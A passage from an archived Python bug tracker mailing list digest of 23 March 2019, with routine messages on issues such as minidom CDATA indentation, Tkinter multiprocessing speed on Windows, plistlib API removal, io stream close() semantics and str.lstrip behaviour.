components: XML
messages: 338681
nosy: vsurjaninov
priority: normal
severity: normal
status: open
title: xml.dom.minidom wrong indentation writing for CDATA section
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36407>
_______________________________________

From report at bugs.python.org  Sat Mar 23 11:40:39 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 23 Mar 2019 15:40:39 +0000
Subject: [issue36407] xml.dom.minidom wrong indentation writing for CDATA
 section
In-Reply-To: <1553355529.11.0.873645774038.issue36407@roundup.psfhosted.org>
Message-ID: <1553355639.08.0.342313566269.issue36407@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +eli.bendersky, scoder, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36407>
_______________________________________

From report at bugs.python.org  Sat Mar 23 11:57:48 2019
From: report at bugs.python.org (J.E.McCormack)
Date: Sat, 23 Mar 2019 15:57:48 +0000
Subject: [issue36408] Tkinter multi-processing performance,
 Linux 10-25 times faster than Windows 10
Message-ID: <1553356668.85.0.0833740641737.issue36408@roundup.psfhosted.org>


New submission from J.E.McCormack <jamesisub at gmail.com>:

I am measuring multi-process GUI performance (Tkinter 8.6, Python 3.7) for drawing lines, circles, text boxes, etc. In a fairly typical experiment on a i7-6700HQ, 4-core (8 thread), on Windows 10 I measure 25.5k objects/sec for one process running alone, and 19.9k objects/sec total for eight processes. For Linux Kubuntu KDE desktop the figures are 61k objects/sec and 230k objects/sec (a multi-core boost of times 3.8). For running eight processes, the performance difference, KDE vs Win10, is therefore times 11.6. The difference over a range of tests is 10-25 times.
	
Clearly Win10 is not doing multi-core. Perhaps Tkinter is calling a Windows SDK function which is not thread-safe within the Windows GDI, imposing a single-thread barrier system-wide?
	
I am just wondering, firstly, if I have simply missed mention of this limitation anywhere. I can supply more info if needed.

----------
components: Tkinter
messages: 338682
nosy: james.mccormack
priority: normal
severity: normal
status: open
title: Tkinter multi-processing performance, Linux 10-25 times faster than Windows 10
type: performance
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36408>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:00:14 2019
From: report at bugs.python.org (Vladimir Surjaninov)
Date: Sat, 23 Mar 2019 16:00:14 +0000
Subject: [issue36407] xml.dom.minidom wrong indentation writing for CDATA
 section
In-Reply-To: <1553355529.11.0.873645774038.issue36407@roundup.psfhosted.org>
Message-ID: <1553356814.74.0.546717307219.issue36407@roundup.psfhosted.org>


Change by Vladimir Surjaninov <vsurjaninov at gmail.com>:


----------
keywords: +patch
pull_requests: +12465
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36407>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:11:49 2019
From: report at bugs.python.org (Jon Janzen)
Date: Sat, 23 Mar 2019 16:11:49 +0000
Subject: [issue36409] plistlib old API should be removed
Message-ID: <1553357509.76.0.695003516452.issue36409@roundup.psfhosted.org>


New submission from Jon Janzen <jjjonjanzen at gmail.com>:

Per the documentation and in-line code warnings, the old API for plistlib was deprecated in version 3.4. My understanding is that deprecated functionality is to be removed in the next major version, so this code is long overdue for removal.

----------
components: Library (Lib)
messages: 338683
nosy: bigfootjon
priority: normal
severity: normal
status: open
title: plistlib old API should be removed
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36409>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:12:26 2019
From: report at bugs.python.org (Jon Janzen)
Date: Sat, 23 Mar 2019 16:12:26 +0000
Subject: [issue36409] plistlib old API should be removed
In-Reply-To: <1553357509.76.0.695003516452.issue36409@roundup.psfhosted.org>
Message-ID: <1553357546.96.0.142519541288.issue36409@roundup.psfhosted.org>


Change by Jon Janzen <jjjonjanzen at gmail.com>:


----------
keywords: +patch
pull_requests: +12466
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36409>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:21:10 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 23 Mar 2019 16:21:10 +0000
Subject: [issue36409] plistlib old API should be removed
In-Reply-To: <1553357509.76.0.695003516452.issue36409@roundup.psfhosted.org>
Message-ID: <1553358070.42.0.938351816704.issue36409@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
components: +macOS
nosy: +ned.deily, ronaldoussoren, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36409>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:29:53 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 23 Mar 2019 16:29:53 +0000
Subject: [issue32217] freeze.py fails to work.
In-Reply-To: <1512440101.88.0.213398074469.issue32217@psf.upfronthosting.co.za>
Message-ID: <1553358593.76.0.301942882502.issue32217@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:


New changeset a7987e71939fa631296f83861fb376361ddd59ee by Cheryl Sabella (AraHaan) in branch 'master':
bpo-32217: Correct usage of ABI tags in freeze. (GH-4719)
https://github.com/python/cpython/commit/a7987e71939fa631296f83861fb376361ddd59ee


----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32217>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:30:15 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 23 Mar 2019 16:30:15 +0000
Subject: [issue32217] freeze.py fails to work.
In-Reply-To: <1512440101.88.0.213398074469.issue32217@psf.upfronthosting.co.za>
Message-ID: <1553358615.14.0.689047208452.issue32217@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12467

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32217>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:35:57 2019
From: report at bugs.python.org (Maor Kleinberger)
Date: Sat, 23 Mar 2019 16:35:57 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1552664225.98.0.0986812073641.issue36305@roundup.psfhosted.org>
Message-ID: <1553358957.83.0.343689595061.issue36305@roundup.psfhosted.org>


Maor Kleinberger <kmaork at gmail.com> added the comment:

Alright, documentation is always good :)
I'll be glad to add some, but could you please point me to the place in the code where you think it should go? (or just comment on the PR)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:46:04 2019
From: report at bugs.python.org (Gregory Szorc)
Date: Sat, 23 Mar 2019 16:46:04 +0000
Subject: [issue36129] io documentation unclear about flush() and close()
 semantics for wrapped streams
In-Reply-To: <1551217633.94.0.247260600398.issue36129@roundup.psfhosted.org>
Message-ID: <1553359564.41.0.0230985571288.issue36129@roundup.psfhosted.org>


Gregory Szorc <gregory.szorc at gmail.com> added the comment:

Thank you for the detailed reply, Josh.

I generally agree with what you are saying. However, I have some follow-ups.

In your answer to #2, you seem to distinguish between an "fd" (implying POSIX file descriptor) and "Python layers" (implying a file object). Is this correct? Should a "closefd" argument only apply when receiving an integer file descriptor? Or should a "closefd" argument also apply when receiving any io.RawIOBase object? If it doesn't apply for any generic file object, is there any recommended way to control whether close() cascades? (My opinion is that "closefd" should apply to any object with a close(), not just integer file descriptors.)

lzma.LZMAFile and gzip.GZIPFile do *not* cascade close() when a file object (as opposed to a named file) is passed into the constructor. (Presumably bz2.BZ2File behaves the same way but the documentation doesn't state this.) This is inconsistent with your answer that close() should always cascade. It's worth noting that the docs for GZIPFile explicitly call out reasons why close() does not cascade.

None of these compression *File constructors accept a "closefd" argument to control the behavior. If the goal is for close() to cascade by default, then it seems useful for these *File types to support automatic close() cascade. Although changing the default would be a backwards compatibility break and I'm not sure that's feasible. But at least you'd have the ability to opt in to the behavior.

It's also worth calling out the behavior of io.BytesIO and io.StringIO. When you close() these streams, you cannot call .getvalue() to get the buffer content. This is consistent with the io.RawIOBase behavior of not allowing I/O after a close(). However, the implication is that if you wrap a BytesIO/StringIO and then a close() on the outer stream cascades into the BytesIO/StringIO, you won't be able to access the written data! In fact, I encountered this problem when writing python-zstandard's unit tests! I had to implement a custom type that allowed access to getvalue() post close() (https://github.com/indygreg/python-zstandard/blob/735771961bc04f8f7de9372297921826a814fd12/tests/common.py#L82) to work around it.

Assuming a "closefd" argument applies to all file objects (not just file descriptors) and that all stream wrappers should accept a "closefd" argument to control close() cascade, I think I have a path forward for python-zstandard: I simply add a "closefd" argument to the stream wrapper constructors. But if "closefd" doesn't apply to generic file objects, then I'm still not sure how to proceed, as I don't want to implement behavior that conflicts with the standard library's.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36129>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:47:42 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 23 Mar 2019 16:47:42 +0000
Subject: [issue32217] freeze.py fails to work.
In-Reply-To: <1512440101.88.0.213398074469.issue32217@psf.upfronthosting.co.za>
Message-ID: <1553359662.74.0.606002549405.issue32217@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset d93de028e84c762d7e30b0b93d149b66c85d421f by Miss Islington (bot) in branch '3.7':
bpo-32217: Correct usage of ABI tags in freeze. (GH-4719)
https://github.com/python/cpython/commit/d93de028e84c762d7e30b0b93d149b66c85d421f


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32217>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:50:54 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 23 Mar 2019 16:50:54 +0000
Subject: [issue32217] freeze.py fails to work.
In-Reply-To: <1512440101.88.0.213398074469.issue32217@psf.upfronthosting.co.za>
Message-ID: <1553359854.89.0.323956252131.issue32217@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32217>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:51:37 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 23 Mar 2019 16:51:37 +0000
Subject: [issue32217] freeze.py fails to work.
In-Reply-To: <1512440101.88.0.213398074469.issue32217@psf.upfronthosting.co.za>
Message-ID: <1553359897.01.0.12100740797.issue32217@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Thank you @Decorater for the report and PR.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32217>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:53:58 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 23 Mar 2019 16:53:58 +0000
Subject: [issue13828] Further improve casefold documentation
In-Reply-To: <1326992763.46.0.576190503242.issue13828@psf.upfronthosting.co.za>
Message-ID: <1553360038.0.0.121277147421.issue13828@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Assigning to @Mariatta for the sprints.

----------
assignee: docs at python -> Mariatta
nosy: +Mariatta, cheryl.sabella
stage:  -> needs patch
versions: +Python 3.7, Python 3.8 -Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13828>
_______________________________________

From report at bugs.python.org  Sat Mar 23 13:04:31 2019
From: report at bugs.python.org (Gregory Szorc)
Date: Sat, 23 Mar 2019 17:04:31 +0000
Subject: [issue36129] io documentation unclear about flush() and close()
 semantics for wrapped streams
In-Reply-To: <1551217633.94.0.247260600398.issue36129@roundup.psfhosted.org>
Message-ID: <1553360671.08.0.0615316352482.issue36129@roundup.psfhosted.org>


Gregory Szorc <gregory.szorc at gmail.com> added the comment:

It's also worth noting that if the wrapped stream close() cascading behavior should be configurable, then many additional types in the standard library need a constructor argument to control this behavior. e.g. io.TextIOWrapper, io.BufferedReader, io.BufferedWriter, codecs.StreamReader, codecs.StreamWriter, etc.

In my influenced-by-Rust mind, the problem is similar to "ownership." The question we seem to be dancing around is whether the stream wrapper "owns" the inner stream or just "borrows" it. If it "owns," then close() cascading absolutely makes sense. But if it just "borrows" the inner stream, then close() cascading should not occur. There are viable use cases for both scenarios on pretty much any stream wrapper. Since existing stream wrappers automatically perform close() cascading and __del__ will call close(), I'd be a bit surprised if others weren't complaining about the inability to disable close() cascade on stream wrappers! e.g. it is perfectly viable to want to temporarily wrap a binary stream with an io.TextIOWrapper but the forced close() cascading makes this difficult to do since destruction of the outer stream will close() the inner stream. So you end up needing to keep references to outer streams alive to prevent this. Eww.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36129>
_______________________________________

From report at bugs.python.org  Sat Mar 23 13:31:32 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 23 Mar 2019 17:31:32 +0000
Subject: [issue36401] Readonly properties should be marked as such in help()
In-Reply-To: <1553296662.49.0.800061565296.issue36401@roundup.psfhosted.org>
Message-ID: <1553362292.38.0.937624976509.issue36401@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
keywords: +patch
pull_requests: +12468
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36401>
_______________________________________

From report at bugs.python.org  Sat Mar 23 13:51:13 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 23 Mar 2019 17:51:13 +0000
Subject: [issue23205] Unit test needed for IDLE's GrepDialog.py's findfiles()
In-Reply-To: <1420791360.73.0.110066531981.issue23205@psf.upfronthosting.co.za>
Message-ID: <1553363473.08.0.619838072083.issue23205@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

On linux, grep does depth first, so searching for 'idle' from Lib.idlelib returns:

--- cut ---
help.py
history.py
idle.py
all of idle_test/
__init__.py
iomenu.py
--- cut ---

Although, within idle_test, the files aren't in alphabetical order.  Also, as you can see __init__ is before iomenu, so underscores seem to be ignored.  On SO, it looks like they suggest piping it to sort if one wants a given ordering.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23205>
_______________________________________

From report at bugs.python.org  Sat Mar 23 15:03:55 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 23 Mar 2019 19:03:55 +0000
Subject: [issue10716] Modernize pydoc to use better HTML and separate CSS
In-Reply-To: <1292491539.55.0.135732310832.issue10716@psf.upfronthosting.co.za>
Message-ID: <1553367835.69.0.460405456374.issue10716@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10716>
_______________________________________

From report at bugs.python.org  Sat Mar 23 15:09:33 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 23 Mar 2019 19:09:33 +0000
Subject: [issue35449] documenting objects
In-Reply-To: <1544377302.47.0.788709270274.issue35449@psf.upfronthosting.co.za>
Message-ID: <1553368173.16.0.681443520856.issue35449@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35449>
_______________________________________

From report at bugs.python.org  Sat Mar 23 15:31:31 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 23 Mar 2019 19:31:31 +0000
Subject: =?utf-8?q?=5Bissue11644=5D_Cross-link_2to3_documentation=2C_what=E2=80=99?=
 =?utf-8?q?s_new_and_pyporting_howto?=
In-Reply-To: <1300838396.67.0.863213339568.issue11644@psf.upfronthosting.co.za>
Message-ID: <1553369491.49.0.317860927556.issue11644@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Since the HOWTO for Porting from 2 to 3 was created in February 2011, there have been many updates over time to improve that document.  It seems to me that it is thorough in its explanation, including the suggestion of upgrading to 2.7 before converting to Python 3.  As such, I believe this issue can be closed, but wanted to make sure others agreed before I changed the status.  Thanks!

https://docs.python.org/3.7/howto/pyporting.html

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11644>
_______________________________________

From report at bugs.python.org  Sat Mar 23 15:33:09 2019
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 23 Mar 2019 19:33:09 +0000
Subject: =?utf-8?q?=5Bissue11644=5D_Cross-link_2to3_documentation=2C_what=E2=80=99?=
 =?utf-8?q?s_new_and_pyporting_howto?=
In-Reply-To: <1300838396.67.0.863213339568.issue11644@psf.upfronthosting.co.za>
Message-ID: <1553369589.05.0.414863557755.issue11644@roundup.psfhosted.org>


Eric V. Smith <eric at trueblade.com> added the comment:

I agree we should close this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11644>
_______________________________________

From report at bugs.python.org  Sat Mar 23 15:35:05 2019
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 23 Mar 2019 19:35:05 +0000
Subject: [issue36384] ipaddress Should not reject IPv4 addresses with leading
 zeroes as ambiguously octal
In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>
Message-ID: <1553369705.71.0.789228097159.issue36384@roundup.psfhosted.org>


Eric V. Smith <eric at trueblade.com> added the comment:

I agree that this is not a useful check.

----------
nosy: +eric.smith

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Sat Mar 23 15:59:41 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 19:59:41 +0000
Subject: [issue24951] Idle test_configdialog fails on Fedora 23, 3.6
In-Reply-To: <1440744246.57.0.722923206189.issue24951@psf.upfronthosting.co.za>
Message-ID: <1553371181.82.0.451766174958.issue24951@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24951>
_______________________________________

From report at bugs.python.org  Sat Mar 23 16:00:08 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 20:00:08 +0000
Subject: [issue27262] IDLE: move Aqua context menu code to maxosx
In-Reply-To: <1465352483.17.0.330062690814.issue27262@psf.upfronthosting.co.za>
Message-ID: <1553371208.23.0.0255628061829.issue27262@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27262>
_______________________________________

From report at bugs.python.org  Sat Mar 23 16:05:18 2019
From: report at bugs.python.org (Alex Grigoryev)
Date: Sat, 23 Mar 2019 20:05:18 +0000
Subject: [issue36410] Proposal to make strip/lstrip/rstrip more explicit
Message-ID: <1553371518.15.0.327433440599.issue36410@roundup.psfhosted.org>


New submission from Alex Grigoryev <evrial at gmail.com>:

These methods have confusing implicit behavior. I propose to make it explicit, either strip the exact sequence or chars or leave the string as is.

In [1]: 'mailto:maria at gmail.com'.lstrip('mailto')
Out[1]: ':maria at gmail.com'

In [2]: 'mailto:maria at gmail.com'.lstrip('mailto:')
Out[2]: 'ria at gmail.com'

In [3]: 'mailto:maria at gmail.com'.lstrip('ailto:')
Out[3]: 'mailto:maria at gmail.com'

----------
messages: 338695
nosy: Alex Grigoryev
priority: normal
severity: normal
status: open
title: Proposal to make strip/lstrip/rstrip more explicit
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36410>
_______________________________________

From report at bugs.python.org  Sat Mar 23 16:05:38 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 20:05:38 +0000
Subject: [issue16177] Typing left parenthesis in IDLE causes intermittent
 Cocoa Tk crash on OS X
In-Reply-To: <1349800735.66.0.856769538072.issue16177@psf.upfronthosting.co.za>
Message-ID: <1553371538.22.0.0745471476668.issue16177@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE, macOS
nosy: +ronaldoussoren, terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16177>
_______________________________________

From report at bugs.python.org  Sat Mar 23 16:05:59 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 20:05:59 +0000
Subject: [issue21982] Idle configDialog: fix regression and add minimal
 unittest
In-Reply-To: <1405349011.77.0.800791635134.issue21982@psf.upfronthosting.co.za>
Message-ID: <1553371559.08.0.555267228557.issue21982@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21982>
_______________________________________

From report at bugs.python.org  Sat Mar 23 16:08:09 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 20:08:09 +0000
Subject: [issue21695] Idle 3.4.1-: closing Find in Files while in progress
 closes Idle
In-Reply-To: <1402257459.19.0.652295391424.issue21695@psf.upfronthosting.co.za>
Message-ID: <1553371689.59.0.907615547322.issue21695@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21695>
_______________________________________

From report at bugs.python.org  Sat Mar 23 16:08:32 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 20:08:32 +0000
Subject: [issue21477] Idle: improve idle_test.htest
In-Reply-To: <1399867718.01.0.81614892567.issue21477@psf.upfronthosting.co.za>
Message-ID: <1553371712.59.0.411777421418.issue21477@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21477>
_______________________________________

From report at bugs.python.org  Sat Mar 23 16:09:15 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 20:09:15 +0000
Subject: [issue21450] [Issue 13630] IDLE: Find(ed) text is not highlighted
 while dialog box is open
In-Reply-To: <CACiybx5dfGNSJ79yoDpk0CQrpRx0pK5bS4s3Sk4MHhGgA8mTVA@mail.gmail.com>
Message-ID: <1553371755.37.0.173011608139.issue21450@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21450>
_______________________________________

From report at bugs.python.org  Sat Mar 23 16:15:07 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 23 Mar 2019 20:15:07 +0000
Subject: =?utf-8?q?=5Bissue11644=5D_Cross-link_2to3_documentation=2C_what=E2=80=99?=
 =?utf-8?q?s_new_and_pyporting_howto?=
In-Reply-To: <1300838396.67.0.863213339568.issue11644@psf.upfronthosting.co.za>
Message-ID: <1553372107.65.0.897782447917.issue11644@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Thanks, Eric!

----------
resolution:  -> out of date
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11644>
_______________________________________

From report at bugs.python.org  Sat Mar 23 16:39:11 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 23 Mar 2019 20:39:11 +0000
Subject: [issue36410] Proposal to make strip/lstrip/rstrip more explicit
In-Reply-To: <1553371518.15.0.327433440599.issue36410@roundup.psfhosted.org>
Message-ID: <1553373551.54.0.509842088813.issue36410@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

https://docs.python.org/3.8/library/stdtypes.html?highlight=lstrip#str.lstrip

> Return a copy of the string with leading characters removed. The chars argument is a string specifying the set of characters to be removed. If omitted or None, the chars argument defaults to removing whitespace. The chars argument is not a prefix; rather, all combinations of its values are stripped:

The last sentence talks about the report. In the given examples it strips all the given characters in chars from left until it finds a character that is not found as part of the given chars argument.

In [2]: 'mailto:maria at gmail.com'.lstrip('mailto:') # Stops at 'r' that doesn't need to be stripped
Out[2]: 'ria at gmail.com'

In [3]: 'mailto:maria at gmail.com'.lstrip('ailto:') # 'm' is the first character and is not found in chars 'ailto:'
Out[3]: 'mailto:maria at gmail.com'

Changing this would break a lot of old code and adding an API for two different behaviors would require a larger discussion. Perhaps did you find any part of docs that you would like to improve to clarify this better?

----------
nosy: +xtreak
versions:  -Python 3.5, Python 3.6, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36410>
_______________________________________

From report at bugs.python.org  Sat Mar 23 16:56:05 2019
From: report at bugs.python.org (Alex Grigoryev)
Date: Sat, 23 Mar 2019 20:56:05 +0000
Subject: [issue36410] Proposal to make strip/lstrip/rstrip more explicit
In-Reply-To: <1553373551.54.0.509842088813.issue36410@roundup.psfhosted.org>
Message-ID: <4C83E422-2F29-440A-8CE3-0AE8B13F5E87@getmailspring.com>


Alex Grigoryev <evrial at gmail.com> added the comment:

https://docs.python.org/2/library/string.html#string.lstrip (https://link.getmailspring.com/link/4C83E422-2F29-440A-8CE3-0AE8B13F5E87 at getmailspring.com/0?redirect=https%3A%2F%2Fdocs.python.org%2F2%2Flibrary%2Fstring.html%23string.lstrip&recipient=cmVwb3J0QGJ1Z3MucHl0aG9uLm9yZw%3D%3D)
Here should be clarified better. Yes I think API for explicit behavior should be discussed, because the other way is this
In [1]: "maria at gmail.com".split("mailto:")[-1]
Out[1]: 'maria at gmail.com'
In [2]: "maria at gmail.commailto:".split("mailto:")[-1]
Out[2]: ''
On ???? 23 2019, at 10:39 ??????, Karthikeyan Singaravelan <report at bugs.python.org> wrote:
>
> Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:
> https://docs.python.org/3.8/library/stdtypes.html?highlight=lstrip#str.lstrip
> > Return a copy of the string with leading characters removed. The chars argument is a string specifying the set of characters to be removed. If omitted or None, the chars argument defaults to removing whitespace. The chars argument is not a prefix; rather, all combinations of its values are stripped:
> The last sentence talks about the report. In the given examples it strips all the given characters in chars from left until it finds a character that is not found as part of the given chars argument.
> In [2]: 'mailto:maria at gmail.com'.lstrip('mailto:') # Stops at 'r' that doesn't need to be stripped
> Out[2]: 'ria at gmail.com'
>
> In [3]: 'mailto:maria at gmail.com'.lstrip('ailto:') # 'm' is the first character and is not found in chars 'ailto:'
> Out[3]: 'mailto:maria at gmail.com'
>
> Changing this would break a lot of old code and adding an API for two different behaviors would require a larger discussion. Perhaps did you find any part of docs that you would like to improve to clarify this better?
> ----------
> nosy: +xtreak
> versions: -Python 3.5, Python 3.6, Python 3.9
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36410>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36410>
_______________________________________

From report at bugs.python.org  Sat Mar 23 17:14:36 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 23 Mar 2019 21:14:36 +0000
Subject: [issue36410] Proposal to make strip/lstrip/rstrip more explicit
In-Reply-To: <1553371518.15.0.327433440599.issue36410@roundup.psfhosted.org>
Message-ID: <1553375676.4.0.117492728746.issue36410@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Generally, we don't make changes that would break existing code relying on the documented and tested behavior.

If you would like to propose a new method, the python-ideas mailing list would be a good place to start.

>>> s[len('mailto:'):] if s.startswith('mailto:') else s
'maria at gmail.com'

----------
nosy: +rhettinger
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed
type: behavior -> enhancement
versions:  -Python 2.7, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36410>
_______________________________________

From report at bugs.python.org  Sat Mar 23 17:27:42 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 23 Mar 2019 21:27:42 +0000
Subject: [issue10716] Modernize pydoc to use better HTML and separate CSS
In-Reply-To: <1292491539.55.0.135732310832.issue10716@psf.upfronthosting.co.za>
Message-ID: <1553376462.82.0.372410367425.issue10716@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

I've found the HTML to be useful (-w mode, not running a server) for generating quick documentation (much lighter weight commitment than using sphinx).  I show this in my intro classes and the engineers are usually impressed with it.

This is really easy and requires neither configuration files or reST markup:

    $ python -m pydoc -w statistics
    wrote statistics.html

So, my vote it to keep it.

I would still like modern HTML 5 with CSS however.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10716>
_______________________________________

From report at bugs.python.org  Sat Mar 23 17:33:28 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Sat, 23 Mar 2019 21:33:28 +0000
Subject: [issue36407] xml.dom.minidom wrong indentation writing for CDATA
 section
In-Reply-To: <1553355529.11.0.873645774038.issue36407@roundup.psfhosted.org>
Message-ID: <1553376808.77.0.437585959517.issue36407@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

Yes, this case is incorrect. Pretty printing should not change character content inside of a simple tag.

The PR looks good to me.

----------
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
